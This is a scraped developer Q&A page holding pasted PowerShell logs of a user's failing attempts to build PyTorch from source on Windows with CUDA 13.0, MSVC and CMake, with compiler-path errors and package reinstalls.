Failed -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM - Failed -- Configuring build for SLEEF-v3.8.0 Target system: Windows Target processor: Host system: Windows-10.0.26100 Host processor: AMD64 Detected C compiler: MSVC @ C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe CMake: 4.1.0 Make program: C:/Program Files/Microsoft Visual Studio/2022/Community/MSBuild/Current/Bin/amd64/MSBuild.exe Crosscompiling SLEEF. Native build dir: -- Using option `/D_CRT_SECURE_NO_WARNINGS /D_CRT_NONSTDC_NO_DEPRECATE ` to compile libsleef -- Building shared libs : OFF -- Building static test bins: OFF -- MPFR : LIB_MPFR-NOTFOUND -- GMP : LIBGMP-NOTFOUND -- RT : -- FFTW3 : LIBFFTW3-NOTFOUND -- OPENSSL : -- SDE : SDE_COMMAND-NOTFOUND -- COMPILER_SUPPORTS_OPENMP : FALSE AT_INSTALL_INCLUDE_DIR include/ATen/core core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/aten_interned_strings.h core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/enum_tag.h core header install: E:/PyTorch_Build/pytorch/build/aten/src/ATen/core/TensorBody.h CMake Error: File E:/PyTorch_Build/pytorch/torch/_utils_internal.py does not exist. CMake Error at caffe2/CMakeLists.txt:241 (configure_file): configure_file Problem configuring file CMake Error: File E:/PyTorch_Build/pytorch/torch/csrc/api/include/torch/version.h.in does not exist. CMake Error at caffe2/CMakeLists.txt:246 (configure_file): configure_file Problem configuring file CMake Error at caffe2/CMakeLists.txt:1398 (add_subdirectory): The source directory E:/PyTorch_Build/pytorch/torch does not contain a CMakeLists.txt file. CMake Warning at CMakeLists.txt:1285 (message): Generated cmake files are only fully tested if one builds with system glog, gflags, and protobuf. Other settings may generate files that are not well tested. CMake Warning at CMakeLists.txt:1349 (message): Generated cmake files are only available when building shared libs. -- -- ******** Summary ******** -- General: -- CMake version : 4.1.0 -- CMake command : E:/Python310/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler id : MSVC -- C++ compiler version : 19.44.35215.0 -- Using ccache if found : OFF -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /MP /bigobj /FS /utf-8 -DNDEBUG -DUSE_KINETO -DLIBKINETO_NOCUPTI -DLIBKINETO_NOROCTRACER -DLIBKINETO_NOXPUPTI=ON -DSYMBOLICATE_MOBILE_DEBUG_HANDLE /wd4624 /wd4068 /wd4067 /wd4267 /wd4661 /wd4717 /wd4244 /wd4804 /wd4273 -- Shared LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Static LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Module LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1;ONNX_NAMESPACE=onnx_torch;_CRT_SECURE_NO_DEPRECATE=1;USE_EXTERNAL_MZCRC;MINIZ_DISABLE_ZIP_READER_CRC32_CHECKS;EXPORT_AOTI_FUNCTIONS;WIN32_LEAN_AND_MEAN;_UCRT_LEGACY_INFINITY;NOMINMAX;USE_MIMALLOC -- CMAKE_PREFIX_PATH : E:\Python310\Lib\site-packages -- CMAKE_INSTALL_PREFIX : E:/PyTorch_Build/pytorch/torch -- USE_GOLD_LINKER : OFF -- -- TORCH_VERSION : 2.9.0 -- BUILD_STATIC_RUNTIME_BENCHMARK: OFF -- BUILD_BINARY : OFF -- BUILD_CUSTOM_PROTOBUF : ON -- Protobuf compiler : -- Protobuf includes : -- Protobuf libraries : -- BUILD_PYTHON : True -- Python version : 3.10.10 -- Python executable : E:\Python310\python.exe -- Python library : E:/Python310/libs/python310.lib -- Python includes : E:/Python310/include -- Python site-package : E:\Python310\Lib\site-packages -- BUILD_SHARED_LIBS : OFF -- CAFFE2_USE_MSVC_STATIC_RUNTIME : ON -- BUILD_TEST : True -- BUILD_JNI : OFF -- BUILD_MOBILE_AUTOGRAD : OFF -- BUILD_LITE_INTERPRETER: OFF -- INTERN_BUILD_MOBILE : -- TRACING_BASED : OFF -- USE_BLAS : 0 -- USE_LAPACK : 0 -- USE_ASAN : OFF -- USE_TSAN : OFF -- USE_CPP_CODE_COVERAGE : OFF -- USE_CUDA : OFF -- USE_XPU : OFF -- USE_ROCM : OFF -- BUILD_NVFUSER : -- USE_EIGEN_FOR_BLAS : ON -- USE_EIGEN_FOR_SPARSE : OFF -- USE_FBGEMM : OFF -- USE_KINETO : ON -- USE_GFLAGS : OFF -- USE_GLOG : OFF -- USE_LITE_PROTO : OFF -- USE_PYTORCH_METAL : OFF -- USE_PYTORCH_METAL_EXPORT : OFF -- USE_MPS : OFF -- CAN_COMPILE_METAL : -- USE_MKL : OFF -- USE_MKLDNN : OFF -- USE_UCC : OFF -- USE_ITT : OFF -- USE_XCCL : OFF -- USE_NCCL : OFF -- Found NVSHMEM : -- USE_NNPACK : OFF -- USE_NUMPY : ON -- USE_OBSERVERS : ON -- USE_OPENCL : OFF -- USE_OPENMP : ON -- USE_MIMALLOC : ON -- USE_MIMALLOC_ON_MKL : OFF -- USE_VULKAN : OFF -- USE_PROF : OFF -- USE_PYTORCH_QNNPACK : OFF -- USE_XNNPACK : OFF -- USE_DISTRIBUTED : OFF -- Public Dependencies : -- Private Dependencies : Threads::Threads;cpuinfo;fp16;caffe2::openmp;fmt::fmt-header-only;kineto -- Public CUDA Deps. : -- Private CUDA Deps. : -- USE_COREML_DELEGATE : OFF -- BUILD_LAZY_TS_BACKEND : ON -- USE_ROCM_KERNEL_ASSERT : OFF -- Performing Test HAS_WMISSING_PROTOTYPES -- Performing Test HAS_WMISSING_PROTOTYPES - Failed -- Performing Test HAS_WERROR_MISSING_PROTOTYPES -- Performing Test HAS_WERROR_MISSING_PROTOTYPES - Failed -- Configuring incomplete, errors occurred! (.venv) PS E:\PyTorch_Build\pytorch> (.venv) PS E:\PyTorch_Build\pytorch> # 7. 验证安装 (.venv) PS E:\PyTorch_Build\pytorch> & "E:\Python310\python.exe" -c @" >> import torch >> print(f'PyTorch版本: {torch.__version__}') >> print(f'CUDA可用: {torch.cuda.is_available()}') >> print(f'CUDA版本: {torch.version.cuda}') >> print(f'cuDNN版本: {torch.backends.cudnn.version()}') >> "@ Traceback (most recent call last): File "<string>", line 1, in <module> File "E:\Python310\lib\site-packages\torch-2.9.0a0+git2d31c3d-py3.10-win-amd64.egg\torch\__init__.py", line 281, in <module> _load_dll_libraries() File "E:\Python310\lib\site-packages\torch-2.9.0a0+git2d31c3d-py3.10-win-amd64.egg\torch\__init__.py", line 277, in _load_dll_libraries raise err OSError: [WinError 126] 找不到指定的模块。 Error loading "E:\Python310\lib\site-packages\torch-2.9.0a0+git2d31c3d-py3.10-win-amd64.egg\torch\lib\aoti_custom_ops.dll" or one of its dependencies. (.venv) PS E:\PyTorch_Build\pytorch> Set-Content -Path manual_build.ps1 -Value (Get-Content manual_build.ps1) Get-Content: Cannot find path 'E:\PyTorch_Build\pytorch\manual_build.ps1' because it does not exist. (.venv) PS E:\PyTorch_Build\pytorch> .\manual_build.ps1 (.venv) PS E:\PyTorch_Build\pytorch> # 安装 Docker Desktop (.venv) PS E:\PyTorch_Build\pytorch> Invoke-WebRequest -Uri "https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe" -OutFile "$env:TEMP\docker_install.exe" (.venv) PS E:\PyTorch_Build\pytorch> Start-Process -FilePath "$env:TEMP\docker_install.exe" -ArgumentList "install --quiet" -Wait “
09-02
PowerShell 7 环境已加载 (版本: 7.5.2) PS C:\Users\Administrator\Desktop> cd E:\PyTorch_Build\pytorch PS E:\PyTorch_Build\pytorch> python -m venv rtx5070_env PS E:\PyTorch_Build\pytorch> .\rtx5070_env\Scripts\activate (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 查找最新 Windows SDK 库路径 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $sdkLibPath = @( >> "${env:ProgramFiles(x86)}\Windows Kits\10\Lib", >> "${env:ProgramFiles}\Windows Kits\10\Lib" >> ) | Where-Object { Test-Path $_ } | Select-Object -First 1 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 获取最新版本路径 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $latestSdkVersion = Get-ChildItem -Path $sdkLibPath | >> Where-Object { $_.Name -match '^\d+\.\d+' } | >> Sort-Object { [version]$_.Name } -Descending | >> Select-Object -First 1 (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> if ($latestSdkVersion) { >> $umPath = Join-Path $latestSdkVersion.FullName "um\x64" >> $ucrtPath = Join-Path $latestSdkVersion.FullName "ucrt\x64" >> >> # 添加到环境变量 >> $env:LIB = "$umPath;$ucrtPath;$env:LIB" >> $env:INCLUDE = "$(Join-Path $latestSdkVersion.FullName 'um');$(Join-Path $latestSdkVersion.FullName 'ucrt');$env:INCLUDE" >> >> Write-Host "已添加 LIB 路径: $umPath, $ucrtPath" >> Write-Host "已添加 INCLUDE 路径: $(Join-Path $latestSdkVersion.FullName 'um')" >> } else { >> Write-Host "错误: 未找到 Windows SDK 库路径" -ForegroundColor Red >> } 已添加 LIB 路径: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64, C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\ucrt\x64 已添加 INCLUDE 路径: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 验证关键工具可用性 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $tools = @("cl.exe", "link.exe", "rc.exe", "mt.exe", "nvcc.exe") (rtx5070_env) PS E:\PyTorch_Build\pytorch> $missingTools = @() (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> foreach ($tool in $tools) { >> if (-not (Get-Command $tool -ErrorAction SilentlyContinue)) { >> $missingTools += $tool >> } >> } (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> if ($missingTools.Count -gt 0) { >> Write-Host "缺失工具: $($missingTools -join ', ')" -ForegroundColor Red >> Write-Host "当前 PATH: $env:PATH" >> } else { >> Write-Host "所有必要工具已配置" -ForegroundColor Green >> } 缺失工具: cl.exe, link.exe, rc.exe, mt.exe 当前 PATH: E:\PyTorch_Build\pytorch\rtx5070_env\Scripts;C:\Program Files\PowerShell\7;C:\Miniconda3\condabin;C:\Miniconda3\Scripts;E:\PyTorch_Build\pytorch\pytorch_env\Scripts;C:\Program Files\PowerShell\7;E:\PyTorch_Build\pytorch\pytorch_env\Scripts;C:\Program Files\PowerShell\7;E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin\x64;E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin;E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin\x64;;E:\PyTorch_Build\pytorch\build\lib.win-amd64-cpython-310\torch\lib;E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin;E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin;C:\Users\Administrator\AppData\Local\Microsoft\dotnet;C:\Users\Administrator\AppData\Local\Microsoft\dotnet;C:\Users\Administrator\AppData\Local\Microsoft\dotnet\;C:\Program Files\dotnet;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;E:\Python310;C:\Program Files\dotnet\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Users\Administrator\.dotnet\tools;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Users\Administrator\.dotnet\tools;E:\Python310\Scripts;E:\Python310\Scripts;C:\Program Files\PowerShell\7\;E:\Program Files\Microsoft VS Code\bin;E:\Program Files\Git\cmd;C:\Program Files\NVIDIA Corporation\Nsight Compute 2025.3.0\;E:\Program Files\CMake\bin;C:\Program Files\Microsoft SQL Server\150\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Program Files (x86)\Incredibuild;E:\PyTorch_Build\pytorch\build\lib.win-amd64-cpython-310\torch\lib;E:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\ProgramData\chocolatey\bin;E:\Program Files\Rust\.cargo\bin;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Users\Administrator\.dotnet\tools;C:\Users\Administrator\miniconda3\Scripts;E:\Program Files\Rust\.cargo\bin;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Users\Administrator\.dotnet\tools;C:\Users\Administrator\miniconda3\Scripts;E:\Program Files\Rust\.cargo\bin;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Users\Administrator\.dotnet\tools;C:\ProgramData\mingw64\mingw64\bin (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 获取 SDK 版本 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $sdkVersion = Get-ChildItem -Path "${env:ProgramFiles(x86)}\Windows Kits\10\Include" | >> Where-Object { $_.PSIsContainer -and $_.Name -match '^\d+\.\d+\.\d+' } | >> Sort-Object { [version]$_.Name } -Descending | >> Select-Object -First 1 -ExpandProperty Name (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> $cmakeArgs = @( >> "-G Ninja", >> "-DCMAKE_BUILD_TYPE=Release", >> "-DCMAKE_C_COMPILER=cl.exe", >> "-DCMAKE_CXX_COMPILER=cl.exe", >> "-DCMAKE_CUDA_COMPILER=E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe", >> "-DCMAKE_CUDA_HOST_COMPILER=cl.exe", >> "-DCMAKE_SYSTEM_VERSION=$sdkVersion", # 关键: 指定 SDK 版本 >> "-DCUDA_NVCC_FLAGS=-Xcompiler /wd4819 -gencode arch=compute_89,code=sm_89", >> "-DTORCH_CUDA_ARCH_LIST=8.9", >> "-DUSE_CUDA=ON", >> "-DUSE_NCCL=OFF", >> "-DUSE_DISTRIBUTED=OFF", >> "-DBUILD_TESTING=OFF", >> "-DBLAS=OpenBLAS", >> "-DCUDA_TOOLKIT_ROOT_DIR=E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0", >> "-DCUDNN_ROOT_DIR=E:/Program Files/NVIDIA/CUDNN/v9.12", >> "-DPYTHON_EXECUTABLE=$((Get-Command python).Source)", >> # 显式指定库路径 >> "-DCMAKE_LIBRARY_PATH=C:/Program Files (x86)/Windows Kits/10/Lib/$sdkVersion/um/x64", >> "-DCMAKE_INCLUDE_PATH=C:/Program Files (x86)/Windows Kits/10/Include/$sdkVersion/um" >> ) (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> cmake .. @cmakeArgs CMake Warning: Ignoring extra path from command line: ".." CMake Error: The source directory "E:/PyTorch_Build" does not appear to contain CMakeLists.txt. Specify --help for usage, or press the help button on the CMake GUI. (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 加载完整 VC 环境 (rtx5070_env) PS E:\PyTorch_Build\pytorch> & "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat" -vcvars_ver=14.4 -winsdk=10.0.22621.0 [ERROR:vcvarsall.bat] Invalid argument found : .4 [ERROR:vcvarsall.bat] Invalid argument found : -winsdk=10 [ERROR:vcvarsall.bat] Invalid argument found : .0.22621.0 [ERROR:vcvarsall.bat] Error in script usage. The correct usage is: Syntax: vcvarsall.bat [arch] [platform_type] [winsdk_version] [-vcvars_ver=vc_version] [-vcvars_spectre_libs=spectre_mode] where : [arch]: x86 | amd64 | x86_amd64 | x86_arm | x86_arm64 | amd64_x86 | amd64_arm | amd64_arm64 [platform_type]: {empty} | store | uwp [winsdk_version] : full Windows 10 SDK number (e.g. 10.0.10240.0) or "8.1" to use the Windows 8.1 SDK. [vc_version] : {none} for latest installed VC++ compiler toolset | "14.0" for VC++ 2015 Compiler Toolset | "14.xx" for the latest 14.xx.yyyyy toolset installed (e.g. "14.11") | "14.xx.yyyyy" for a specific full version number (e.g. "14.11.25503") [spectre_mode] : {none} for libraries without spectre mitigations | "spectre" for libraries with spectre mitigations The store parameter sets environment variables to support Universal Windows Platform application development and is an alias for 'uwp'. For example: vcvarsall.bat x86_amd64 vcvarsall.bat x86_amd64 10.0.10240.0 vcvarsall.bat x86_arm uwp 10.0.10240.0 vcvarsall.bat x86_arm onecore 10.0.10240.0 -vcvars_ver=14.0 vcvarsall.bat x64 8.1 vcvarsall.bat x64 store 8.1 Please make sure either Visual Studio or C++ Build SKU is installed. (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 验证环境 (rtx5070_env) PS E:\PyTorch_Build\pytorch> cl.exe cl.exe: The term 'cl.exe' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch> link.exe link.exe: The term 'link.exe' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 设置 CUDA 路径 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CUDA_PATH = "E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:PATH = "$env:CUDA_PATH/bin;$env:PATH" (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 直接运行 CMake (rtx5070_env) PS E:\PyTorch_Build\pytorch> cmake .. -G Ninja -DCMAKE_BUILD_TYPE=Release -DUSE_CUDA=ON ... CMake Warning: Ignoring extra path from command line: "E:/PyTorch_Build" CMake Warning: Ignoring extra path from command line: ".." -- The CXX compiler identification is GNU 13.2.0 -- The C compiler identification is GNU 13.2.0 -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Check for working CXX compiler: C:/ProgramData/mingw64/mingw64/bin/c++.exe - skipped -- Detecting CXX compile features -- Detecting CXX compile features - done -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: C:/ProgramData/mingw64/mingw64/bin/gcc.exe - skipped -- Detecting C compile features -- Detecting C compile features - done -- Not forcing any particular BLAS to be found CMake Warning at CMakeLists.txt:418 (message): TensorPipe cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:430 (message): Libuv is not installed in current conda env. Set USE_DISTRIBUTED to OFF. Please run command 'conda install -c conda-forge libuv=1.39' to install libuv. -- Performing Test C_HAS_AVX_1 -- Performing Test C_HAS_AVX_1 - Failed -- Performing Test C_HAS_AVX_2 -- Performing Test C_HAS_AVX_2 - Success -- Performing Test C_HAS_AVX2_1 -- Performing Test C_HAS_AVX2_1 - Failed -- Performing Test C_HAS_AVX2_2 -- Performing Test C_HAS_AVX2_2 - Success -- Performing Test C_HAS_AVX512_1 -- Performing Test C_HAS_AVX512_1 - Failed -- Performing Test C_HAS_AVX512_2 -- Performing Test C_HAS_AVX512_2 - Success -- Performing Test CXX_HAS_AVX_1 -- Performing Test CXX_HAS_AVX_1 - Failed -- Performing Test CXX_HAS_AVX_2 -- Performing Test CXX_HAS_AVX_2 - Success -- Performing Test CXX_HAS_AVX2_1 -- Performing Test CXX_HAS_AVX2_1 - Failed -- Performing Test CXX_HAS_AVX2_2 -- Performing Test CXX_HAS_AVX2_2 - Success -- Performing Test CXX_HAS_AVX512_1 -- Performing Test CXX_HAS_AVX512_1 - Failed -- Performing Test CXX_HAS_AVX512_2 -- Performing Test CXX_HAS_AVX512_2 - Success -- Current compiler supports avx2 extension. Will build perfkernels. -- Performing Test CAFFE2_COMPILER_SUPPORTS_AVX512_EXTENSIONS -- Performing Test CAFFE2_COMPILER_SUPPORTS_AVX512_EXTENSIONS - Success -- Current compiler supports avx512f extension. Will build fbgemm. -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY - Success -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY - Success -- Performing Test COMPILER_SUPPORTS_RDYNAMIC -- Performing Test COMPILER_SUPPORTS_RDYNAMIC - Failed -- Found CUDA: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 (found version "13.0") CMake Error at E:/PyTorch_Build/pytorch/rtx5070_env/Lib/site-packages/cmake/data/share/cmake-4.1/Modules/CMakeDetermineCompilerId.cmake:928 (message): Compiling the CUDA compiler identification source file "CMakeCUDACompilerId.cu" failed. Compiler: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe Build flags: Id flags: --keep;--keep-dir;tmp -v The output was: 1 nvcc fatal : Cannot find compiler 'cl.exe' in PATH Compiling the CUDA compiler identification source file "CMakeCUDACompilerId.cu" failed. Compiler: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe Build flags: -DLIBCUDACXX_ENABLE_SIMPLIFIED_COMPLEX_OPERATIONS;-Xfatbin;-compress-all Id flags: --keep;--keep-dir;tmp -v The output was: 1 nvcc fatal : Cannot find compiler 'cl.exe' in PATH Call Stack (most recent call first): E:/PyTorch_Build/pytorch/rtx5070_env/Lib/site-packages/cmake/data/share/cmake-4.1/Modules/CMakeDetermineCompilerId.cmake:8 (CMAKE_DETERMINE_COMPILER_ID_BUILD) E:/PyTorch_Build/pytorch/rtx5070_env/Lib/site-packages/cmake/data/share/cmake-4.1/Modules/CMakeDetermineCompilerId.cmake:53 (__determine_compiler_id_test) E:/PyTorch_Build/pytorch/rtx5070_env/Lib/site-packages/cmake/data/share/cmake-4.1/Modules/CMakeDetermineCUDACompiler.cmake:162 (CMAKE_DETERMINE_COMPILER_ID) cmake/public/cuda.cmake:47 (enable_language) cmake/Dependencies.cmake:43 (include) CMakeLists.txt:853 (include) -- Configuring incomplete, errors occurred! (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 创建测试文件 (rtx5070_env) PS E:\PyTorch_Build\pytorch> @' >> #include <iostream> >> int main() { >> std::cout << "Hello from C++ & CUDA toolchain!" << std::endl; >> return 0; >> } >> '@ | Set-Content test.cpp (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 编译测试 (rtx5070_env) PS E:\PyTorch_Build\pytorch> cl.exe test.cpp /EHsc /link kernel32.lib user32.lib gdi32.lib cl.exe: The term 'cl.exe' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch> if (Test-Path test.exe) { >> .\test.exe >> } else { >> Write-Host "编译失败,错误信息:" >> cl.exe test.cpp /EHsc /link kernel32.lib /v >> } 编译失败,错误信息: cl.exe: Line | 5 | cl.exe test.cpp /EHsc /link kernel32.lib /v | ~~~~~~ | The term 'cl.exe' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 1. 设置基本环境变量 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CUDA_PATH = "E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:CUDNN_PATH = "E:/Program Files/NVIDIA/CUDNN/v9.12" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:OpenBLAS_HOME = "E:/Libs/OpenBLAS_Prebuilt" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:PATH = "$env:CUDA_PATH/bin;$env:OpenBLAS_HOME/bin;$env:PATH" (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 2. 加载 Visual Studio 环境 (rtx5070_env) PS E:\PyTorch_Build\pytorch> & "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat" ********************************************************************** ** Visual Studio 2022 Developer Command Prompt v17.14.13 ** Copyright (c) 2025 Microsoft Corporation ********************************************************************** [vcvarsall.bat] Environment initialized for: 'x64' (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 3. 添加编译器路径 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $clPath = "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\x64" (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:PATH = "$clPath;$env:PATH" (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 4. 修复 Windows SDK 库路径 (rtx5070_env) PS E:\PyTorch_Build\pytorch> .\fix_kernel32_error.ps1 .\fix_kernel32_error.ps1: The term '.\fix_kernel32_error.ps1' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 5. 验证工具链 (rtx5070_env) PS E:\PyTorch_Build\pytorch> .\verify_toolchain.ps1 .\verify_toolchain.ps1: The term '.\verify_toolchain.ps1' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 6. 准备构建目录 (rtx5070_env) PS E:\PyTorch_Build\pytorch> Set-Location E:\PyTorch_Build\pytorch (rtx5070_env) PS E:\PyTorch_Build\pytorch> Remove-Item build -Recurse -Force -ErrorAction SilentlyContinue (rtx5070_env) PS E:\PyTorch_Build\pytorch> New-Item -Path build -ItemType Directory | Out-Null (rtx5070_env) PS E:\PyTorch_Build\pytorch> Set-Location build (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> # 7. 配置 CMake (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> .\cmake_configure_final.ps1 .\cmake_configure_final.ps1: The term '.\cmake_configure_final.ps1' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> # 8. 编译和安装 (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> if ($LASTEXITCODE -eq 0) { >> cmake --build . --config Release --parallel 8 >> if ($LASTEXITCODE -eq 0) { >> cmake --install . >> } >> } Error: not a CMake build directory (missing CMakeCache.txt) (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> # 9. 验证安装 (rtx5070_env) PS E:\PyTorch_Build\pytorch\build> python -c "import torch; print(f'PyTorch版本: {torch.__version__}'); print(f'CUDA可用: {torch.cuda.is_available()}')" PyTorch版本: 2.8.0+cpu CUDA可用: False (rtx5070_env) PS E:\PyTorch_Build\pytorch\build>
最新发布
09-03
PS C:\Users\Administrator\Desktop> cd E:\PyTorch_Build\pytorch PS E:\PyTorch_Build\pytorch> # 1. 激活虚拟环境 PS E:\PyTorch_Build\pytorch> .\pytorch_env\Scripts\activate (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 2. 修复conda路径(执行一次即可) (pytorch_env) PS E:\PyTorch_Build\pytorch> $condaPath = "${env:USERPROFILE}\miniconda3\Scripts" (pytorch_env) PS E:\PyTorch_Build\pytorch> $env:PATH += ";$condaPath" (pytorch_env) PS E:\PyTorch_Build\pytorch> [Environment]::SetEnvironmentVariable("PATH", $env:PATH, "Machine") (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 3. 验证修复 (pytorch_env) PS E:\PyTorch_Build\pytorch> conda --version # 应显示conda版本 conda: The term 'conda' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> # 1. 安装正确版本的MKL (pytorch_env) PS E:\PyTorch_Build\pytorch> pip uninstall -y mkl-static mkl-include Found existing installation: mkl-static 2024.1.0 Uninstalling mkl-static-2024.1.0: Successfully uninstalled mkl-static-2024.1.0 Found existing installation: mkl-include 2024.1.0 Uninstalling mkl-include-2024.1.0: Successfully uninstalled mkl-include-2024.1.0 (pytorch_env) PS E:\PyTorch_Build\pytorch> pip install mkl-static==2024.1 mkl-include==2024.1 Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Collecting mkl-static==2024.1 Using cached 